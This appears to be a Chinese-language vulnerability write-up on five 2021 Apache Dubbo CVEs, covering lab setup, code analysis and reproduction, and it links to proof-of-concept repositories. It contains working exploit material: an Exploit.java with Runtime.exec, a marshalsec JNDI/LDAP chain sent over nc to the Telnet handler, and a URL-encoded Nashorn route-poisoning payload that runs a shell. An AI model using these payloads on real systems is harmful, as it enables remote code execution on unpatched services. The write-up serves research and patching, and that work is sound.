Apache Dubbo相關漏洞跟進
前言
- CVE-2021-25641: Apache Dubbo Hessian2 協議反序列化漏洞
攻擊者可利用其他協議繞過Hessian2黑名單造成反序列化。
- CVE-2021-30179:Apache Dubbo Generic filter 遠程代碼執行漏洞
Apache Dubbo Generic filter存在過濾不嚴,攻擊者可構造惡意請求調用惡意方法從而造成遠程代碼執行。
- CVE-2021-32824:Apache Dubbo Telnet handler 遠程代碼執行漏洞
Apache Dubbo Telnet handler在處理相關請求時,允許攻擊者調用惡意方法從而造成遠程代碼執行。
- CVE-2021-30180:Apache Dubbo YAML 反序列化漏洞
Apache Dubbo多處使用了yaml.load,從而造成了Yaml反序列化漏洞。
- CVE-2021-30181:Apache Dubbo Nashorn 腳本遠程代碼執行漏洞
攻擊者可構造惡意請求注入Nashorn腳本,造成遠程代碼執行。
影響版本
Apache Dubbo < 2.7.10
Apache Dubbo < 2.6.10
組件介紹
Apache Dubbo是一款高性能、輕量級的開源java RPC分布式服務框架。核心功能有面向接口的遠程過程調用、集群容錯和負載均衡、服務自動注冊與發現。其特點主要在以下幾個方面。使用分層的架構模式,使得各個層次之間實現最大限度的解耦。將服務抽象為服務提供者與服務消費者兩個角色。
漏洞分析
1. Apache Dubbo協議繞過漏洞(CVE-2021-25641)
攻擊者可利用其他協議繞過Hessian2黑名單造成反序列化。
poc:https://github.com/Dor-Tumarkin/CVE-2021-25641-Proof-of-Concept
exp:https://github.com/threedr3am/dubbo-exp
#漏洞復現
(1)Zookeeper 安裝
wget http://archive.apache.org/dist/zookeeper/zookeeper-3.3.3/zookeeper-3.3.3.tar.gz
tar zxvf zookeeper-3.3.3.tar.gz
cd zookeeper-3.3.3
cp conf/zoo_sample.cfg conf/zoo.cfg
配置:
vi conf/zoo.cfg
# The number of milliseconds of each tick
tickTime=2000
# The number of ticks that the initial
# synchronization phase can take
initLimit=10
# The number of ticks that can pass between
# sending a request and getting an acknowledgement
syncLimit=5
# the directory where the snapshot is stored.
dataDir=/private/var/tmp/zookeeper-3.3.3/data
# the port at which the clients will connect
clientPort=2181
在 data 目錄下放置 myid 文件:
mkdir data
vi myid
(2)啟動zookeeper:
cd /private/var/tmp/zookeeper-3.3.3/bin
./zkServer.sh start
(3)安裝sample示例:
git clone https://github.com/apache/dubbo-samples.git
cd dubbo-samples/dubbo-samples-api
(4)修改示例的pom.xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>dubbomytest</artifactId>
<packaging>pom</packaging>
<version>1.0-SNAPSHOT</version>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<configuration>
<source>8</source>
<target>8</target>
</configuration>
</plugin>
</plugins>
</build>
<properties>
<source.level>1.8</source.level>
<target.level>1.8</target.level>
<dubbo.version>2.7.6</dubbo.version>
<junit.version>4.12</junit.version>
<docker-maven-plugin.version>0.30.0</docker-maven-plugin.version>
<jib-maven-plugin.version>1.2.0</jib-maven-plugin.version>
<maven-compiler-plugin.version>3.7.0</maven-compiler-plugin.version>
<maven-failsafe-plugin.version>2.21.0</maven-failsafe-plugin.version>
<image.name>${project.artifactId}:${dubbo.version}</image.name>
<java-image.name>openjdk:8</java-image.name>
<dubbo.port>20880</dubbo.port>
<zookeeper.port>2181</zookeeper.port>
<main-class>org.apache.dubbo.samples.provider.Application</main-class>
</properties>
<dependencies>
<dependency>
<groupId>org.apache.dubbo</groupId>
<artifactId>dubbo</artifactId>
<version>2.7.3</version>
</dependency>
<dependency>
<groupId>org.apache.dubbo</groupId>
<artifactId>dubbo-common</artifactId>
<version>2.7.3</version>
</dependency>
<dependency>
<groupId>org.apache.dubbo</groupId>
<artifactId>dubbo-dependencies-zookeeper</artifactId>
<version>2.7.6</version>
<type>pom</type>
</dependency>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>${junit.version}</version>
<scope>test</scope>
</dependency>
</dependencies>
</project>
(5)編譯
mvn clean package
接着,確定下zookeeper已經啟動,然后啟動應用,終端提示dubbo service started
(6)漏洞驗證
git clone https://github.com/Dor-Tumarkin/CVE-2021-25641-Proof-of-Concept.git
打開之后,在main函數中,增加mac彈計算器的命令
public static String DUBBO_RCE_COMMAND = "open /System/Applications/Calculator.app"; //Mac
直接運行poc,成功彈出計算器,如下圖
(7)漏洞總結
經測試,dobbo版本需小於2.7.3才會觸發漏洞
2. Apache Dubbo Generic filter 遠程代碼執行漏洞(CVE-2021-30179 )
CVE-2021-30179 - Dubbo Pre-auth RCE via Java deserialization in the Generic filter
Apache Dubbo Generic filter存在過濾不嚴,攻擊者可構造惡意請求調用惡意方法從而造成遠程代碼執行。
分析 From threedr3am
在org.apache.dubbo.rpc.filter.GenericFilter中,如果發現被調用service的方法傳入的參數中,第一個參數為字節數組byte[]時,會把這個字節數組數據進行反序列化,其中可選的序列化方式有nativejava、bean、protobuf-json等。
實際在GenericFilter執行之前,也就是RpcInvocation構造的時候
org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation#decode(org.apache.dubbo.remoting.Channel, java.io.InputStream)
也已經可以進行反序列化攻擊了
不過這個地方的反序列化,受限於默認hessian或者已配置的序列化類型,具有一定的局限性。
CVE-2021-30179算是反序列化類型攻擊面的擴展了,可以把序列化方式從默認的hessian(spring aop那條鏈jndi攻擊受限jdk版本和外連條件)轉移到nativejava序列化類型。
3. Apache Dubbo Telnet handler 遠程代碼執行漏洞(CVE-2021-32824)
Apache Dubbo Telnet handler在處理相關請求時,允許攻擊者調用惡意方法從而造成遠程代碼執行。
分析 from https://securitylab.github.com/advisories/GHSL-2021-034_043-apache-dubbo/
Dubbo的服務端口常常用來訪問Telnet處理程序,該處理程序提供一些基本方法來收集有關提供者和服務公開的方法的信息,甚至可以允許關閉服務。
此外,還可以使用調用處理程序調用提供程序方法。
List<Object> list;
try {
list = JSON.parseArray("[" + args + "]", Object.class);
} catch (Throwable t) {
return "Invalid json argument, cause: " + t.getMessage();
}
這里使用了FastJson的安全版本,但是生成的列表稍后使用PojoUtils.realize進行處理
if (!StringUtils.isEmpty(service)) {
buf.append("Use default service ").append(service).append(".");
}
if (selectedProvider == null) {
buf.append("\r\nNo such service ").append(service);
return buf.toString();
}
if (invokeMethod == null) {
buf.append("\r\nNo such method ").append(method).append(" in service ").append(service);
return buf.toString();
}
try {
Object[] array = realize(list.toArray(), invokeMethod.getParameterTypes(),
invokeMethod.getGenericParameterTypes());
long start = System.currentTimeMillis();
AppResponse result = new AppResponse();
try {
Object o = invokeMethod.invoke(selectedProvider.getServiceInstance(), array);
result.setValue(o);
} catch (Throwable t) {
result.setException(t);
}
long end = System.currentTimeMillis();
buf.append("\r\nresult: ");
buf.append(JSON.toJSONString(result.recreate()));
buf.append("\r\nelapsed: ");
buf.append(end - start);
buf.append(" ms.");
} catch (Throwable t) {
return "Failed to invoke method " + invokeMethod.getName() + ", cause: " + StringUtils.toString(t);
}
return buf.toString();
}
PojoUtils可以用來實例化任意類並調用其setter,攻擊者可以利用它來實現遠程代碼執行.
環境:
cd dubbo-samples/dubbo-samples-basic
mvn clean package
啟動BasicProvider函數
vim Exploit.java
public class Exploit {
public Exploit(){
try{
Runtime.getRuntime().exec("/bin/bash -c /System/Applications/Calculator.app/Contents/MacOS/Calculator");
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}
javac Exploit.java
python3 -m http.server 8080
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8080/#Exploit"
echo "invoke org.apache.dubbo.samples.basic.api.DemoService.sayHello({'class':'org.apache.xbean.propertyeditor.JndiConverter','asText': 'ldap://127.0.0.1:1389/Exploit'})" | nc -i 1 127.0.0.1 20880
沒有復現成功,猜測是jdk依賴問題.
4. Apache Dubbo YAML 反序列化漏洞(CVE-2021-30180)
CVE-2021-30180 RCE on customers via Condition route poisoning (Unsafe YAML unmarshaling)
Apache Dubbo多處使用了yaml.load,攻擊者在控制如ZooKeeper注冊中心后可上傳惡意配置文件從而造成了Yaml反序列化漏洞。
public class TagRuleParser {
public static TagRouterRule parse(String rawRule) {
Constructor constructor = new Constructor(TagRouterRule.class);
TypeDescription tagDescription = new TypeDescription(TagRouterRule.class);
tagDescription.addPropertyParameters("tags", Tag.class);
constructor.addTypeDescription(tagDescription);
Yaml yaml = new Yaml(constructor);
TagRouterRule rule = yaml.load(rawRule);
rule.setRawRule(rawRule);
if (CollectionUtils.isEmpty(rule.getTags())) {
rule.setValid(false);
}
rule.init();
return rule;
}
}
yaml.load(rawRule) 可以直接打
影響版本:
Dubbo 2.7.0 to 2.7.9
修復方案:
Upgrade to 2.7.10 or the latest 2.7 version.
https://github.com/apache/dubbo/releases/tag/dubbo-2.7.10
https://dubbo.apache.org/en/blog/2020/05/18/past-releases/
5. Apache Dubbo Nashorn 腳本遠程代碼執行漏洞(CVE-2021-30181 )
RCE on customers via Script route poisoning (Nashorn script injection)
攻擊者在控制如ZooKeeper注冊中心后可構造惡意請求注入Nashorn腳本,造成遠程代碼執行。
分析 From threedr3am
當consumer啟動時,會根據interface配置(例:com.threedr3am.learn.server.boot.DemoService),啟動Zookeeper監聽目錄節點目錄 /dubbo/com.threedr3am.learn.server.boot.DemoService下的三個node目錄
- configurators
- providers
- routers
當這些node下的內容變動時,consumer的Zookeeper監聽器會watch到,然后通知到org.apache.dubbo.registry.integration.RegistryDirectory#notify方法,更新相關數據。
Zookeeper監聽器訂閱相關代碼位於org.apache.dubbo.registry.zookeeper.ZookeeperRegistry#doSubscribe方法。
理論上我們只需要在routers這個node下新增配置,插入惡意代碼,就能觸發其執行惡意代碼,先從consumers下獲取一個模板配置,
consumer%3A%2F%2F127.0.0.1%2Fcom.threedr3am.learn.server.boot.DemoService%3Fapplication%3Ddubbo-consumer%26category%3Dconsumers%26check%3Dfalse%26dubbo%3D2.0.2%26init%3Dfalse%26interface%3Dcom.threedr3am.learn.server.boot.DemoService%26metadata-type%3Dremote%26methods%3Dhello%26pid%3D53953%26qos.enable%3Dfalse%26release%3D2.7.7%26revision%3D1.0%26side%3Dconsumer%26sticky%3Dfalse%26timestamp%3D1622381389749%26version%3D1.0
通過對其解碼,得到很清晰的內容
consumer://127.0.0.1/com.threedr3am.learn.server.boot.DemoService?application=dubbo-consumer&category=consumers&check=false&dubbo=2.0.2&init=false&interface=com.threedr3am.learn.server.boot.DemoService&metadata-type=remote&methods=hello&pid=53953&qos.enable=false&release=2.7.7&revision=1.0&side=consumer&sticky=false×tamp=1622381389749&version=1.0
把它修改為
script://127.0.0.1/com.threedr3am.learn.server.boot.DemoService?application=dubbo-consumer&category=routers&check=false&dubbo=2.0.2&init=false&interface=com.threedr3am.learn.server.boot.DemoService&metadata-type=remote&methods=hello&pid=53953&qos.enable=false&release=2.7.7&revision=1.0&side=consumer&sticky=false×tamp=1622381389749&version=1.0&route=script&type=javascript&rule=s%3D%5B3%5D%3Bs%5B0%5D%3D'%2Fbin%2Fbash'%3Bs%5B1%5D%3D'-c'%3Bs%5B2%5D%3D'open%20-a%20calculator'%3Bjava.lang.Runtime.getRuntime().exec(s)%3B
注意事項:
- rule參數下的js代碼需要先編碼一下再放進去,未編碼數據為:
s=[3];s[0]='/bin/bash';s[1]='-c';s[2]='open -a calculator';java.lang.Runtime.getRuntime().exec(s);
- category參數需要改為routers
- protocol需要改為script
最后編碼得到
script%3A%2F%2F127.0.0.1%2Fcom.threedr3am.learn.server.boot.DemoService%3Fapplication%3Ddubbo-consumer%26category%3Drouters%26check%3Dfalse%26dubbo%3D2.0.2%26init%3Dfalse%26interface%3Dcom.threedr3am.learn.server.boot.DemoService%26metadata-type%3Dremote%26methods%3Dhello%26pid%3D53953%26qos.enable%3Dfalse%26release%3D2.7.7%26revision%3D1.0%26side%3Dconsumer%26sticky%3Dfalse%26timestamp%3D1622381389749%26version%3D1.0%26route%3Dscript%26type%3Djavascript%26rule%3Ds%253D%255B3%255D%253Bs%255B0%255D%253D'%252Fbin%252Fbash'%253Bs%255B1%255D%253D'-c'%253Bs%255B2%255D%253D'open%2520-a%2520calculator'%253Bjava.lang.Runtime.getRuntime().exec(s)%253B
接下來,把這個配置新增到Zookeeper的/dubbo/com.threedr3am.learn.server.boot.DemoService/routers,就能觸發代碼執行了。
腳本需要通過本地配置或者配置中心(dubbo的管理員權限)才能篡改,利用條件有點難。
diff:
修復:在nashorn引擎解析並執行的地方做了權限限制。